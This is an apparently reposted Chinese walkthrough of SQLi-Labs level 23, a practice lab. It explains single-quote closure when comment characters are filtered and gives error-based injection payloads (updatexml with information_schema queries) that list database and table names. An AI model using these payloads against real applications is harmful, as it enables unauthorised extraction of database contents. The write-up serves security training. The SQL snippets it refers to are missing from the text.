SQLi LABS Less-23
【摘要】
第23关使用GET请求传递参数,在url地址栏构造payload即可
此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立
在url中输入payload ?id=1' and '1,登录成功;而输入 ?id=1' and '0,...
第23关使用GET请求传递参数,在url地址栏构造payload即可
此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立
在url中输入payload ?id=1' and '1,登录成功;而输入 ?id=1' and '0,登录失败;可见SQL恒成立时查询成功,SQL恒不成立时查询失败,即存在SQL注入,注入点为单引号字符型注入
源码中的SQL是这样的
我们输入 1' and '1 时,SQL变成了下面这样
and后面的'1'会转成true,也就是这样,从而使SQL语句恒成立,能够正常查询到数据
当我们输入 1' and '0 时,SQL变成了下面这样
and后面的'0'会转换成false,也就是下面这样,使SQL恒不成立,也就不能正常查询出数据
确定了注入点后,我们使用报错注入进行脱库,输入payload
-
1' and updatexml(1,concat(0x7e,
-
(select group_concat(schema_name) from information_schema.schemata)
-
),1) and '1
然后是脱表
-
1' and updatexml(1,concat(0x7e,
-
(select group_concat(table_name)
-
from information_schema.tables where table_schema='security')
-
),1) and '1
文章来源: blog.csdn.net,作者:士别三日wyx,版权归原作者所有,如需转载,请联系作者。
原文链接:blog.csdn.net/wangyuxiang946/article/details/119712311
【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)